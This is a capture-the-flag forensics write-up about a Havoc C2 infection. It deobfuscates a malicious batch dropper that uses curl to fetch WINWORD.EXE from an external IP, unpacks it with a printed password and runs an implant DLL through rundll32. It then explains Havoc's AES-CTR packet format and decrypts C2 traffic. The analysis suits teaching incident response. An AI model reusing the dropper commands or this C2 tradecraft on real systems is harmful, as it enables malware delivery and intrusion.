# No Start Where

As echoes of the Dark War lingered in UNZ's cyber-warfare HQ, a beacon blinked ominously. An analyst turned a wary eye to the screen. The alarm signal originated from the main system that controls the mining machinery! It was an attack from the Board of Arodor, aimed at crippling the mining infrastructure. Initial investigation of the network traffic revealed that the system has been compromised! Your task is to disinfect the system by uncovering the infiltration method and potential post-exploitation steps!

## Step 1

Filtering out the `http` packets, we can see that `192.168.25.164` downloaded `Security Baseline Discipline.zip` and `WINWORD.EXE`.


Investigating the ZIP file first, extracting `Security Baseline Discipline.zip` reveals two files: `baseline.scr` and `Security Baseline Discipline.docx`.

The file `baseline.scr` is actually an `.exe`, commonly used for screensavers on Windows. In reality, many malware samples disguise themselves as `.scr` files to deceive users.

Analyzing it on `any.run`, we observe that it creates a `.bat` file and also downloads another file named `WINWORD.EXE`.


Investigating the `.bat` file, we find that:

@shift /0
@%pUBlIc:~89,83%%PUBLic:~5,1%CHo^ of^%PuBlIC:~46,16%f
SEt R^=Jg^%pUBLIc:~13,1%^gtGXz%pUBLIc:~4,1%w%pUBLIc:~11,1%^hm%pUBLIc:~10,1%^S^HI^O^A
^%pUBlIC:~14,1%^L%pUBliC:~55,17%^%publIc:~4,1%
@^e^c%r:~15,1%^%r:~17,1% ^%r:~17,1%n
@%r:~8,1%%r:~11,1%%r:~2,1%f%r:~4,1% /0
cd %temp%
%r:~2,1%f ex%r:~2,1%%r:~8,1%%r:~4,1% %temp%\%r:~10,1%%r:~13,1%nda%r:~13,1%.dll (
r%r:~13,1%ndll32.exe %r:~10,1%%r:~13,1%nda%r:~13,1%.dll, %r:~14,1%%r:~4,1%ar%r:~4,1%
ex%r:~2,1%%r:~4,1% /%r:~10,1%
) el%r:~8,1%e (
c%r:~13,1%rl.exe --%r:~13,1%rl
"%r:~11,1%%r:~4,1%%r:~4,1%p://140.238.217.117:4953/W%r:~16,1%NW%r:~17,1%RD.E%r:~6,1%E" -
-o%r:~13,1%%r:~4,1%p%r:~13,1%%r:~4,1% W%r:~16,1%NW%r:~17,1%RD.E%r:~6,1%E
cd %temp%
"C:\Pro%r:~1,1%ra%r:~12,1% F%r:~2,1%le%r:~8,1%\7-Z%r:~2,1%p\7%r:~7,1%.exe" x
W%r:~16,1%NW%r:~17,1%RD.E%r:~6,1%E -pNj%r:~1,1%1NDM4NjY0Y%r:~7,1%Q%r:~9,1%Njc
r%r:~13,1%ndll32.exe %r:~10,1%%r:~13,1%nda%r:~13,1%.dll, %r:~14,1%%r:~4,1%ar%r:~4,1%
)
@ec%r:~11,1%o off
%r:~8,1%e%r:~4,1% a = %%~i
%r:~8,1%e%r:~4,1% a = % + %~i"%%~%r:~2,1%"%
set a = %a%
:aaaaaaaaaaaaaaaaaaaaaaaaaaaaab

Using [batch_deobfuscator](https://github.com/DissectMalware/batch_deobfuscator) to deobfuscate the `.bat` file, we uncover its actual commands and logic.

@shift /0
@eCHo off
SEt R=JgigtGXzswbhmuSHIOA
cLs
@ecHO On
@shift /0
cd C:\Users\puncher\AppData\Local\Temp
if exist C:\Users\puncher\AppData\Local\Temp\bundau.dll (
rundll32.exe bundau.dll
Start
exit /b
) else (
curl.exe --url "http://140.238.217.117:4953/WINWORD.EXE" --output WINWORD.EXE
cd C:\Users\puncher\AppData\Local\Temp
"C:\Program Files\7-Zip\7z.exe" x WINWORD.EXE -pNjg1NDM4NjY0YzQwNjc
rundll32.exe bundau.dll
Start
)
@echo off
set a = %%~i
set a = ~i"%%~i"
set a =
:aaaaaaaaaaaaaaaaaaaaaaaaaaaaab

The batch script is designed to download and execute a payload. Specifically:

1. **Environment Setup**:
- Commands like `@shift /0`, `@echo off/on`, and `set R=...` modify the environment and can obfuscate analysis.

2. **DLL File Check**:
- It navigates to the temporary directory: `C:\Users\puncher\AppData\Local\Temp`.
- If **bundau.dll** exists, the script executes it using `rundll32.exe` and then exits.

3. **Downloading and Extracting the Payload**:
- If **bundau.dll** is not present, the script uses `curl.exe` to download **WINWORD.EXE** from a specified URL.
- It then extracts the downloaded file using 7-Zip, with the password `Njg1NDM4NjY0YzQwNjc` (indicating encryption for evasion purposes).

4. **Executing the Payload**:
- After extraction, the script runs **bundau.dll** via `rundll32.exe`.

With the password extracted, we can manually unzip `WINWORD.EXE`, revealing **bundau.dll**. Uploading this DLL to **VirusTotal** confirms that it is an **implant** from **Havoc**, a well-known C2 framework used for post-exploitation.

## Step 2

From packet `407` onward, the traffic consists of exchanges between the **implant** and the **C2 server**, primarily **POST** requests from the implant and corresponding responses from the server. The exchanged data is embedded within `http.file_data`, but it is not human-readable due to encryption or encoding.

To analyze this communication, we need to examine **Havoc's source code**, which will reveal:

1. **Data Structure**: How the implant formats and structures the exchanged data.
2. **Encryption Method**: Whether the data is encrypted (e.g., AES, RC4) or simply encoded.
3. **Communication Protocol**: How the implant sends commands and retrieves responses.

By understanding this, we can potentially **decrypt** or **reconstruct** the exchanged messages, gaining insight into what commands were issued and what data was exfiltrated.


Source code:
[https://github.com/HavocFramework/Havoc](https://github.com/HavocFramework/Havoc)

First, we need to understand the communication process, so we should check the `Demon.c` file.

The function `DemonMain` initializes an instance on the stack, calls initialization functions (`DemonInit`, `DemonMetaData`), and then enters the main loop via `DemonRoutine`.
`DemonRoutine` continuously attempts to connect to the listener, and once connected, it calls `CommandDispatcher` to receive and process commands, alternating with `sleep obfuscation`.

First, we need to focus on the initialization function `DemonMetaData`:

The function **DemonMetaData** is responsible for constructing a `metadata packet containing full system and process information`, which is then sent to the C2 server.

The structure of the packet sent to the C2 server is as follows:
However, this is the new packet structure. In this challenge, the old packet structure is used:
==Here, we note that the last 4 bytes of the new header represent the Command ID.==

From here, we have also identified where the `key` and `iv` are located.

Now that we understand what `DemonMetaData` does, the next step is to investigate the function `DemonRoutine`, which is the main loop of `Havoc`:

The function **DemonRoutine** is the main loop that ensures the implant continuously attempts to connect and execute commands from the server. The process works as follows:

1. **Connection Check:**
- An infinite loop checks the connection status via `Instance->Session.Connected`.
- If not connected, it calls **TransportInit()** to establish a connection to the listener.

2. **Command Processing:**
- Once connected, it calls **CommandDispatcher()** to receive and execute commands from the server.

3. **Sleep Obfuscation:**
- After each connection attempt or command execution, it calls **SleepObf()** to pause for a certain period. This helps conceal activity and avoid detection.

Before analyzing command processing, we first investigate the `TransportInit` function to understand the initial connection setup process.

The function **TransportInit** establishes a connection to the server by sending a metadata packet containing system information (built from `DemonMetaData`) via the `PackageTransmitNow` function. Specifically:

- **TransportInit** calls `PackageTransmitNow` with `Instance->MetaData` as an argument. `PackageTransmitNow` encrypts the packet (using **AES CTR mode**) and sends it via `TransportSend`.

- After sending, `TransportInit` receives a response from the server. It decrypts the response using `AesXCryptBuffer` and checks whether the received value matches the previously generated `AgentID`. If they match, the connection is confirmed.

- Thus, `PackageTransmitNow` serves as a secure packet transmission mechanism (including initial metadata), and `TransportInit` relies on its result to verify the connection to the listener.

Next, we dive into the function **PackageTransmitNow**:

The function **PackageTransmitNow** encrypts the data packet following these steps:

1. **Write the Packet Length:**
- The function first writes the packet length (excluding the length field itself) into the first 4 bytes of the buffer, ensuring the receiver can determine the packet size.

2. **Determine the Unencrypted Region (Padding):**
- The header consists of 5 fields, each 32-bit (5 × 4 bytes), which remain unencrypted.
- If the packet’s `CommandID` is `DEMON_INITIALIZE`, additional padding of 32 bytes (AES key) and 16 bytes (IV) is added to transmit key exchange information in plaintext.

3. **Initialize the AES Context:**
- The function calls `AesInit`, passing the key and IV from the configuration. This expands the key (`KeyExpansion`) and copies the IV into the encryption context.

4. **Encrypt the Main Data Section:**
- After determining the encryption starting point (`offset = padding`), the function calls `AesXCryptBuffer` to encrypt the packet contents **from this offset onward**.

Thus, **PackageTransmitNow** uses **AES in CTR mode** to encrypt the packet’s content (excluding the header) before transmission, ensuring the data remains secure during transit.

---

==At this point, by analyzing `DemonRoutine` along with `TransportInit` and `PackageTransmitNow`, we have fully understood the `initial connection setup process`. Most importantly, we now know the structure of the **first packet** sent, how it is transmitted, and how it is encrypted. This allows us to extract the `key and IV`, specifically from the data in packet 407 (the metadata packet built from `DemonMetaData`).==


From the functions **DemonMetaData** and **PackageTransmitNow**, we know that:

- The **first 20 bytes** are the **header**.
- The **next 32 bytes** contain the **AES key**.
- The **following 16 bytes** store the **IV**.
- The **remaining bytes** contain system information, which has been **encrypted**.

Using the extracted **key** and **IV**, we can **decrypt** the system information section to reveal the metadata sent by the implant.

==key: d67078c44224e658f402ae447a101206e88e20ca3028062c668e60a41082fab8==
==iv: 8a34bce42cc46a2ad0a48ebcfeb0aa36==

Returning to the **DemonRoutine** function:

The function **DemonRoutine** is the main loop of the agent. In each iteration, it performs the following steps:

1. If **not connected**, it calls **TransportInit** to establish a connection with the listener.
2. If **connected**, it calls **CommandDispatcher** to receive and execute commands from the server.
3. It always calls **SleepObf** to pause for a certain period, helping to obfuscate activity and avoid detection.

At this point, we have analyzed the **connection setup process**, allowing us to extract the **key and IV** for decryption.

Next, we need to analyze the **CommandDispatcher** function to understand how the agent receives and processes commands from the server:

In **HTTP mode**, the function **CommandDispatcher** processes and executes commands received from the server through the following steps:

---

### **1. Preparing and Checking Conditions:**
- Calls **SleepObf()** to obfuscate activity and check conditions like **kill date** and **working hours**.
- If it's **not** within working hours, it skips execution and continues looping.

---

### **2. Sending Data and Receiving a Response via HTTP:**
- Inside the `ifdef TRANSPORT_HTTP` block, the function calls:

  PackageTransmitAll(&DataBuffer, &DataBufferSize);

- This is where the agent sends accumulated data (e.g., reports or status updates) to the **server** and receives a response in `DataBuffer`.

---

### **3. Parsing the Received Data:**
- If `DataBuffer` is **not empty**, it initializes a `parser` to extract:
- **CommandID** (first 4 bytes)
- **RequestID** (next 4 bytes)
- **TaskBuffer** (payload)

- If **CommandID ≠ DEMON_COMMAND_NO_JOB**, and `TaskBuffer` contains data:
- A new parser is created for `TaskBuffer`.
- Calls `ParserDecrypt()` to **decrypt** the payload using AES (with the **configured key and IV**).

---

### **4. Executing the Command:**
- Once decrypted, the function loops through `DemonCommands[]` to find the corresponding function for `CommandID` and executes it with `TaskParser`.

---

## **Analyzing the Structure of Received Data:**
After `CommandDispatcher` receives data (`DataBuffer`), it follows these steps:

1. **Initialize a parser** using `ParserNew()` to process the raw data.
2. **Extract components from each command packet:**
- **CommandID:** First 4 bytes (`ParserGetInt32()`).
- **RequestID:** Next 4 bytes.
- **TaskBuffer:** Remaining payload extracted using `ParserGetBytes()`.

3. **Update the session’s `CurrentRequestID`** using `RequestID`.
4. If **CommandID ≠ DEMON_COMMAND_NO_JOB**:
- Extract payload size (`TaskBufferSize`).
- Initialize a new **TaskParser** for `TaskBuffer`.
- **Decrypt payload** using `ParserDecrypt()` (AES key & IV).
- Lookup `DemonCommands[]` for the handler function and execute it.

5. **Repeat until no more commands** (loop terminates when remaining data < 12 bytes).

---

## **Key Observation:**
- `PackageTransmitAll()` **always** starts by calling:

  PackageCreateWithMetaData(DEMON_COMMAND_GET_JOB)

- This means the agent is **constantly requesting new tasks** from the C2 server.

- The response structure is as follows:
- **4 bytes** → `CommandID`
- **4 bytes** → `RequestID`
- **4 bytes** → `Payload size`
- **Payload data** → Encrypted command data

### **Packet Verification:**
- We can confirm this by analyzing packets from the implant, specifically **those with a length of 24 bytes**.
- The **COMMAND ID** should be `1` (which corresponds to `DEMON_COMMAND_GET_JOB` in `Command.h`).

Here’s an example packet:

At packet 608, the first command is sent from the server. Let's try to decrypt it to see what the command is:

==But that packet is sent from the server; for the execution results sent by the implant, we need to review the function `PackageTransmitNow`. If the packet is `DEMON_INITIALIZE`, we decrypt from byte 68; otherwise, we decrypt from byte 20.==

Here is an example of attempting to decrypt packet 618:

For this challenge, to obtain the flag, we need to decrypt the command sent to the implant, specifically in packet **1437**:

==Be careful here: two consecutive pieces of data are sent in a single transmission, so we need to split them into two separate data packets:==

--- Packet 1 ---
CommandID: 0xCD77308F
RequestID: 0x00000A00
Payload size: 6672 byte(s)
Payload: 889fd2c2b35d8984dd026f3efa4dc3a532b857a9f53383e4c2a3900b26959f349883fa6e1d74578c36346298c3670453641ed3197526daabbdb1dc3cdd8f49366e4ae575ee1c071467a1870e06091140af1f9a8e7f81c4b679e912d9508860d6cbac361de2e6631e630f306e06ddaaac65bb3bc6b65deab9d08d1964094b1638157b5966e12fc9ab0b8bbabd9735462a5253a22b45015212ab80c8113cc2451ffe5a741b419602442261059c07d76564bf9a624a9a2d4e0213aa4c0b9440d12338754268a841afcd5c4d8c1e400f637388566a4283c9bd27788ae2a541ad61abc8e06f3d3da0400f456bf0927803a61e4d919a5e106f2cfd704ddffb3a01fa82d726cb71e67f3bcc25234d304e45e883708b96fd8ede1056a38b246f7e15b0c56534456f585f6c3c59bc14c6e5975cf43fdb781425a38cdaea761e7d0d43846091e99b145b70262dbb08c98dc597551fd43f3c40adb8b46706b07e52f23616d62a80ac1ee4e4dd212984c1375cba97b88fa2b56b615f86600e1983fcc1986771c0591d5e02e33b541f954ee935ad923f8d4cb5c056c25cefa546ea94cb0c5d2cd8746e2043e711cee5ab6e447713bc3c5711899d9452edb9ddf6ebb6a862bd672dbe244c2d1c75e0666fc10fabde0f61bc277f64d785671788ce57f369fe4b08be5a810069525a4ee10fa96f9e70e6be4d551f7e98a9f945c03182a99de1dd930e1f66fe8304815f09de7a0799fd10c4d2564d047189c420ab864a887c38739c268c1a56f3f195b6bfb8b960cda8876fa990789da275cd696e5bb183e4eee5bde3b963d467539cad5d25840e05c521b4437a7a050b9f3d11f31330c26777c25508a8b04bb9468d4bf4a131c300829667e98dbf6d695abba4ea287b077af67ace2d4a9d83965259338addf93169f1b89038ebf52124bfd7463c842ecbc9bc54a9ebcc1852c1a27238ec16d82c31f974789a8726de24f70280db08835207ef7b1b36a6d36d0a8e0157544f7c620654306ca65f965dcc7a4db0df8061f7dae373fd3d563a8c34629de8e480d45244770ad5445e073932e4bd51c7212b2824dd10e59304ab1e8b535540c05363bb5f551d9fd99d586684c793588a6c2127a416d46dd9b75b5aac848da52c429cb3e476bd1d4707ce84451e6590916b2c41750dae33d277db9c78d9327c71a6b7f01d4b0e7c18d5333b4b95a14f5d10bb4c880e4aa9d000ba23d949f0c1282aa7e4d7ec2d35b829f20a70fb7309338b252d0a78992bfd38f2f3b97170d74d32f74c6c3661096875642cee843df4c9697bc7411eb9a676ea8ef7ff307ead15f2e99dd47581c793f9b7f184be5fd6a8d6643c0dd49ba365af4afd966854b9c07a54c77765b0461b5849f109553898bfe7312042694cc9e2e7cb53471245e4c1d6528297e86bf53ba57e14eebd8dc151ab3369240d799daab04c39db2fac74856e3ab430db58792292ff88e6051ea9a33389470835f1aa6ea8618f090b6024992dbde5c817ee6874c6631aa6e3072e65bf983379e4ae7dbcdc030d7c860cd09d202873c97df069458dff78f0ad0eb75b1134cf5a7e793ed1548d061c1e7e72772f6ffd1b1f9525afe36cf2edf2cca8f5fce1312eab671435400cfc047a7013300abb8324ad88d3816449221f531dbb9260753a210c71799f28889300be4759b7087585ad06409ebf341cd8196d9ed6153c0ecaf1f76d0d4fea2ce0d5245f966ce68842c337fd8b0cff123c152fe444d8b45aeecf631f794e4d3f5c4db58002f5954aa0a629aba76bac4559c12a75ae6f852220e5ea0a0529ec3b4f96d61be44b8941080d4deb89325da54e2bf8e211b9b87ecec73ae898cfdbdf8ab74575078a140bd613d633dafbae9072a3deee2faa1ea9e2342b7ec16b7176bb250a99b84ddb8fae33595907cde1128636430e0e71ef7deae895f32d0cb359411902e3665d64766a093e878cf54444c7c54a38c729cf659f5fc8b3c8727d7af8b2f47dafde35793fc7856b41ebf33579df656517d6e43b3f5581d740cf07af8c86029102f38473a3fec25a4d2258e1c4bc31cb203e31ae933306ad58b944b51e1136f31ea9a94d40708b26db740e19844e923343f142fa896c358587f3e7c60ff8b293c62166c7b3097e7d150a58d3b3461c4f0e6bdc43b1d88b5de36b66b2aa7584921231ab20a9fc1fe0ecb969b9ce17226a0e32a237b06d9e62e2a939cda703484d3a5da55e80669edb30df8026cddcaf7599e4369fdb9b4eb39875edfacb5749b332db0ad4911cb562401ca44ed18b4c3e51558e98698e2d24d050238fab9f426fc115952b92ce85c60c6d6fd5cf576ef0ebbc8b9f8d83d1c5bf452c4bfb2836d6c040e13820ef5f8e13643acb0a3d2950725f1c71b27e0517e0824140d1266ab2184c001d7fd8ccf77519664c2c6b0666b8bb48ba5ca603b2fa0ae9df403728cfe1c2f9732bb12210308f1ea0d37694019fbf4ee12655e72d7245a8ebcc788a0ca092d05c724283868b6af50fdc2c30ab71760926fc3bc67e560892ad25ea06882121bc0d74a9d808cbaee99ceb8a051fa3f45f3de6eb29030b3f3886682644e0e9cb2a3c295dd251e07a09b5364eb634d9569a182b2f8eed175b1e3619c8e45c232782b7bafb3bf0eea345ab9ce2905affc084fb1a50de2ca7bd0e3b449dcc3fc7658ecec306eccef1f48920659cce4b50c96a0603f3b7937ed3e0f1322b66d1f4a02eca092df18c322b8a9873e168f288d4e935c6d6fd2a38ad02bdea013046acaaaf7568595ca17742a4a6223f24459d54025f13d9a7151b75edcb1d27b19868de6db435b7639a5bf1884513a0f5f227915dd1523706b2ab9cc5a038c2f8794db8b93d3eeb3d491eacd0a03d0a161204f7fedf706f40b6c33b75851df414487b5dbd90c076747e385f0a41d47eaefcb9fffe6f6016e7fe4a3bc148de228a8f49cb827eab9884d220224291b934172d061ba44c94846246a99a755b4c93fe2f389c144e595ec3f750732a2c00cd3216d98f48d654079b2e427ca6550331a63b63dd831aae77c0d46603c4d97af424999095149d7f595f182689162aeb31011c21bac2ffae5f423b1f6fa4d89dc906688e0382631e11a49aa08f1437be4e47b0681767556430911221976aef949b12e8eea8b517ab0f7d18ee99755226a1374694637c9e2154746e4e181cc13fc3df3c5e139c54312e9a43d9ce49e0c89c1103a3496bbb1a5c4453d75713a56d962bcf4976e2346ae8a6e0cbc39ede7efcc51b06eb5a7d9f5f96bc5a3fa13c854a29a557f4b5fd3bbacc12944c1c6522f3cfe7db157b29d5e192abb54ae494a689d5273a7d9148286b4640c4344ecac20c7d334de47b127bfd13814c853c47e0a947041f73cd530d52417cd4faa39eb8de55e9104b98c3df14210c5ab7c66e843160270a417c72a652720ae9c2847c136675e453db2eafe21326de90e139349409629dbe2823ec242c58be2548896f95677903446246f598136093c8ddd74fe5d63acfe596c3b6bd225ab2ed0fd3c6a899b5a935b48a00aecdeffc21138ce2e509762883e8afa09a0cdd68ed4a3a793e025a3ebfb29ea26dd8b688b9ebd773d8afccb178adf10b9a866d706513bd4d179d289121190290573d5a5a2ea37d3d114fce2c93455208b822b949bedd0064dd41b5860cdc7ba34a28715efc2370e907bd7a67793bb5c2c29f90cd3ac910dd377bda2ff5f9108f82c27a31c7e3b2b704b73e3de48d73fa2089954ff652c90d2b98a8e8623be0e60c4ba13127d710edff5f2c193c4c9469556c803ee675e63bb8f4bd82999fc4a32b83efe7a5d656c3f44dc5dc125e822fba024097faf43bef0b4050b1867aca87eeecbefc2103fdeeee90e5586786119c3b0a5f6194da9c81d00f9270f252bdcd95721c360cff6eac7ea2efc1315ca36f17cfb236c60f3fe3c0ed61d7c93223264c287cd97c63b426245da19074657d3a04140ea39cdb2d4a7c3022c65e66092333d2285cd05c0712e784aa87ddcbebca94640c43e0f413b08a6e032d9200a3837f5243b00dd5a5fa4208fa8bf05cd50f776594f3861e203cf50485b61c1d5610a2fd541ae62f6387504ff6c72e70ae17f342d649f34f2a22f3b896d4f626a960d6bb8cc3d154e3617d6697690fd70912717faa79f6d312d500e1b5123ca209b26a19795eebc54513becc51efa7f76ad7e22172d31282b1bb554cd20f9c1077c935151130219e688c3ec6ce9708832d3286379cefad39005db2c158d929cc7e9fbd04e125bd0f54407b6da392693c77758ce6f620419e6e73a4b11d3b00e31d0a0a243e702fe2aeb045cbb5f36b7557e47f3882ba16403c125ca8f9cc959f45a89c13471b0d359c19fd4f86ca73b433ed13a261a207e10b341e1847476852b3808aa132960f56f07105fc443711f297e21a618899079745694ebb0be7ee2bb4b365b5c4a80d35d13242fbc685547fb5a51a3c4879daadbcdb503bba07c405e73be50c3715a8add3db4f97464e451af293c2b228baecd6998fac0f714bf04a19510a9781f7ab5eb255b6dcec0cda661767df477cf84637b1d8f57bacda83b34af0966ea3d14f696046f525482eb0c178615cd62a3b1f04cb313c3edcbc1c53bcb098fe8dc043e37508dbbe5c4fe6fd759ade048059e6cfc8bc356748231dcc29c360d82c5ac8d7c50b4ffe81ea31e53ef7e43d18c7821d6e8f1d5f1e9910ab1ecf1e363c1333f8e96e43dec17cf9530052dd3ea74f91019bfec6e9c6578906d5c933205d6ad3af4228ad186152ed38f3ffde9350df34f525408e153460030725ce967ebadff57ac2dbeba240a008bef0ee7ac618d7a715fab4572f9e0396761969ebb0ffc41f09f1db9a640d7f4238b3d7900ed676d22250ff5d320669de347c457d2f8329fdbf65629ea369bd373c3751b8f20fe4e804b815dd486009caa77647c9fc71d0b58ee33949a85ac5323fce32baafbc50bfa01df797abef3dc155ffbe9d9d954288b2a950db82c19e3fc1f552937d77d8bf361e8169fb1e0adeb9b4e9ae41babfe21b7b4a5aa6294b5f0f54691805cdd2569bcf4c6f3803f09125ea0a1f449648185e1d113ccc952501844771ac1a95221639c82485f1eb2c9e2974864d88ff7b415f6f6f268913149f41ff4d97dabe5e2a897a770f0bbb4b84924fabc209e66ba81b2e18142b06e75c25cd2fd9116bbca74f629c88ca56f4878d4da535d7631c09150fec799c98711a0ca5c5dde487e841e6efc6cf6be5804a419d3bd18d4c2c243081ef8902e929edf308679f92da2e9f7a439fd270b20e1dd1c498fb5e027ba5d4b8498cbaadca3d640084bf02a43b7b5bf0723cbd32f39337b8bd3f07288ce1de07e2b61031708b0745d1ff3aa43d071782c47e2ae9962bb32f0b39efa1f7f841669d4fe895ddd25f998ce5518ba77986d101cd425db094fe64e6087a01e781c2a3fd542b504f9f3e844c965a57fc97a22498c75e8058587fd3c614531fc1efc3d07a792bdc69645ba2215fb9d638549f4e484643d5811d20dfd4538ff46e1c0efe9967b3cfbced31b6f93dac5a9d833c8fc5bebd0ac9555885a457d4e457788df7350c88ad10e1511757b3072dda705c4d45037dee746f00ff14bed5edf433da9828162d30a82fa7cf7128364bfcd5daa7ba556f7d23fb43c74fb1173b4bde73aa3da48f24504521c08fe9131202758eef38f2bf3297df9e981338fd534fdf10bbb9b2afc51aff98b14d9474f3dfe8f78b8e952a41191af81f02634f9e45769ae283e6d4d57a52ba660383f922dbead694d349a98a2207f91524443caa19acbe4e59a9b9fdf39dbe052a18bc8be0eaf889862c999282bd155f232c40b0b3bb1d52c6da0c057191bd5bcceee99509db86f72110c3d7d9111e90f13b7c5b7fea11a95131ed492bc8b7a56a2bb7781d559e432e5c8bc95ed407f62fb9954a0589662cb2fc8480f10608f704ddc3e5c6308ca0a069a814c46a7ae74f56d9803186ada7a019851e8bd785bf471cea9de9c52ed7ae39b964fd1654ed06b38c0d3a6454b17d2d82a5dd6c3e5b6bc21ae23a5f53bb5868bfedd00f5912d40ccb85958f3e22e36bb8e9ceec5cd7ad3658147c225ccb1dab2b4879bd667ad944c89a5c457b8574402eebad0baf71412530b61132922e02435690d77d6d9080188c43ec5db8b02495e2860aa2f35ee49e76c67057fb062056d75e7d44eab86b9358937392982476d5b4acf01076c0b3487eab9339afde9428b2647239f3086710428f0f2d309aaca4fc794d1f22057c68965beaf95715a9549650c897e609a547804c3f460549882ed66ac5eeb37924713477df48febd2e04376fbeeefda31fdabc4818204d8649a140645ac39bcef949506a468415311db046ce0534cd75a15d484b06dfe180413d68aa7b45058871fbe7643528bd36255066a9ae0a979f063b3fdd853b52116599b9f511dccbc6a63d3143f3ca59b7481f3d5a3c448f04d6da967276aa63b14ed39f73e0e0e7296b8ed008000abcd5f8aaff5067813e5b9bd4dafc5674b9124c7f8ce5d092d527de5fd9e39658714382e4a637e2f90ed93adb02d64d91fdb58d81c39d1536c89bd91aa8032733bcb3c0972581879c3060ded3888814672bb5d4bdfbb6d272985bd0ab9113a1bb9f4784b7e99df4107e0d4e2fb933a73b77d1488860cd7d75db745b50c3baec9f9a17b77a164de56eef551d9b5beeabf70563cb1f71abd35928a1907058b09393c070cb6870d5de83433ba13145424c8017dab9f583104be6b513179a424d43a5ba073fe550d4a332a2bf828e1b55c8e1655af352c2a68c20cb6276c4344f3431e95282721646399ed6ccf99d676fde70e98e579ab0f32a3666ca170a7979ebc56447576a6634e03701d352bc0380d670386f50684ae43e9c9e5f4130338aac14217bce56805035f842d3dc0843e3d5e363a103339136d4277d82cb843ddd3c59dc49a3952da49bf9c4587b9a0c1b284c7294a3d592eed014c8bede57943e464600dcbc030ea9e28f1d17749b3947c0f1f73e150997b34ac0983e7845803e732d7c7016adc8c0d74b897cec21dbec412de6fac605824b5ae2b9f8cb98ba6d8c854e031734cb6b4e23fc3ab505f187a4f848b296998a02ed78666c86ab3641ba046202bcc96475079753cc2e5a5d82336edbb813921950745d8940d440f34e81d5fc9936d21f93aca539af4f91cd73b7605a82b2443f925823f50710fa51b8fdcc64364e217ea5eb6a95da6f8aad173874e80a2b7904d66580ed0d806edab047ddde1f8f58d912d3f1aeebc6f9798a2c321cf3aeaccd02c558f2fa4147c268002692ec493b2155d517a2fb39560347df0382fe0b5aa894810229e8f64944968e4b311fcc26b783283caf0538d4f555128d0016fa4dbd4c940cc2f47b9f8f3c46b62ee5137d1e9f44258fc57a67b8b7b6fc1bfece14e8dfa7677e7d710083c34a2864ea1871f4c88749c0bddf5bfca2b483ebf9dd39d1b79afdeb2fef7a581dc4ad5bbcdfbd3743c90ef95c657dd93c9fc424eb956d45c393130e83b3f9e6d363322f7f077fc13cc16ed0436d259a81cdfe11490d6557c330e0d4070cabb7acb4ef41baf581bf592170eac5939be1dfbca3e0fc12373f119777043642f27e3c6329edd5d9b95d3a281fd70d583408fbeef6835bbf670b3bdc2d5accc60815f2bb378f30ae40ffadb16fdb92fd81a96b9a2716590f0ca246935fa241ed29b48cb778e3ca8c1e18f24dd7113ca225e5dbe189e9b9a7f23c8989b424091e8dbf3a7a535e005c377f8e7b32c8bb347e3f7149bf56015dfd7c01e9a3eb93f56a4c3a17ecf6470cadda4098d89978d2b4c712f047c7b52e4788b88ab12cebfb1221e5d170160b0734ad0471b15dc7625f0c222f50c917ed6140e7147b54c35fe50ba15f9024565e020129d162bc7e1e4d534ec5a916dad9b95573cc6e031d77b3527f7f58dc1bc6a24fe12595d1ed82ae198087f0a11791cd9c8ec459f690ff06ee22c5a250c15e6e0ee0d7c1bfa18fecf037b5d914b99ec168feef9d31b5c3f7b7bc2ff38e7e24f283be4939b7fbcbe3cb45c53724926cd109adb6c79f274309e7a014d959579c908828e511018d711b83e74d83287aa6594123684f33d6c3e80cb0d37ae0616e892075311c16f988378c91790a0b1b2e8faa4614c8e45d9bdb55c1a2aeda5b552a070034a21040a269e99ad93b57f8d2bf0243c905b0b5db94c7ec972696baaea4e23108507cdf30fba2a496921e0518f289291f65b7938facce2acb4371e29679d4900b28841dc38ee9e08fc202bff1c00f5e53589e21a8e005d57bf5c22f482d07accc88cd7d8e73a10e70cf7836f39d2cc1668a77c2a56b88c8a61a0949e33512b80eb5e0ad2a0bc787d1833d003d9ae66c636d144bbb82c5398b8edd9da126533895db9fa5098a40fd7b37a6d3a4f1d8d34698d02d1d4c71c833a21663ccd3dff4c3aa33615f094c4b7bbe4d4388113cf382a99a0a19593015e779423826c2ce4dd67c18e666b10a5384e7cef65d7d0eb6c02a83fd442b41dad12bb3f02931514c6375e581eb7554739d5fc81ba76fd1bb83ee72e1e14ebf14b251d76bf86cf2a7d4a38e4686cbd6875b9104e95917ba20bd56384c7be606a25ba1abcec622424d4dfa07cc362834eaca2c26a57429a95283be694ab37febb39053c1f0d2c6e4865a55432c5cf4def7a159ec91dd90ecb5579586c6505c8ef5d983a7b56ea73c5fc119593ad22bf0fb63324f67bcc759eb2c31f10e57d9afee997a63577870f4c92f94cb95f4ea58048d6aad8a5b3545c5c17a27ef42a3f168475d5dc6ab411ce2ca31e64a71b6c9cc9563f6c8d46b68c2233309d5a4534733f5658e25f123743f25e9d4f1d27a9ac1746570172f6db58866d42598a18f0b359017e546c4fa490df9aa64ac365cbeba2992ab77049b49fa7f9824a5475389fda9b9ec1166d0efc1747be0d4d464a939e6088d1fc7646017c80bf3cc2561dccc0b0f03254c172fea1805cba2d33984fe1992383d5d5da6a865a456a1f049bf31618f805980fa9bce00b9124af7844d36222a01ba89afefa7c18d0e191139e06045b3637d5e2a2ab7b03ff3b395ce351451470eb52bf135779982853ff865bc342e9664325e266cdb67f86fb962aa9fcbd5a7f4b8dc342e123924a912625f47201bf5b504dbaf616f480e7365620f20dec57c4f9f0db3d3d5a45249a43c039eea2fe36c9b3c16ce4fbc08815b99c649493f37afd7a30b319c099e3678dc1d3ed6752aa547780aa35f222aa02bb8efb82f5dd021ea411b5da92e14f67e0c6eb10c0f457c08fd8c80b002b8458013521a1b097593532984fdaf7202eee4727268b7e622b047b397d25bef8b2ed61606f69511cea7000a9403daaf04e65bc1624f9901f3ad08317ad52213affa1680dec66ff829

--- Packet 2 ---
CommandID: 0x789EF462
RequestID: 0x00002001
Payload size: 160 byte(s)
Payload: 6123d8d5ef47d584f302333e8a57aaa50fe2a2a9aa33eee4a9a3fa0bb66ab1341083c26e2b74658c58345598f2673053551efd194126ecab85b1ef3ced8f7f36584ad475d61c3e1452a1b70eb2092640900016804e35fd7b6051139581a934bee6df736df689656c77627c0d13b380c37e9b34a3f72ff6d79ee477445b0445180e140903e122f4a1018b89bda735752a33169b2b2187e1ae1268feff3cc2451f

We will proceed to decrypt the first command packet:

binwalk final.exe

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
16            0x10            Microsoft executable, portable (PE)
3458          0xD82           Copyright string: "CopyrightAttribute"

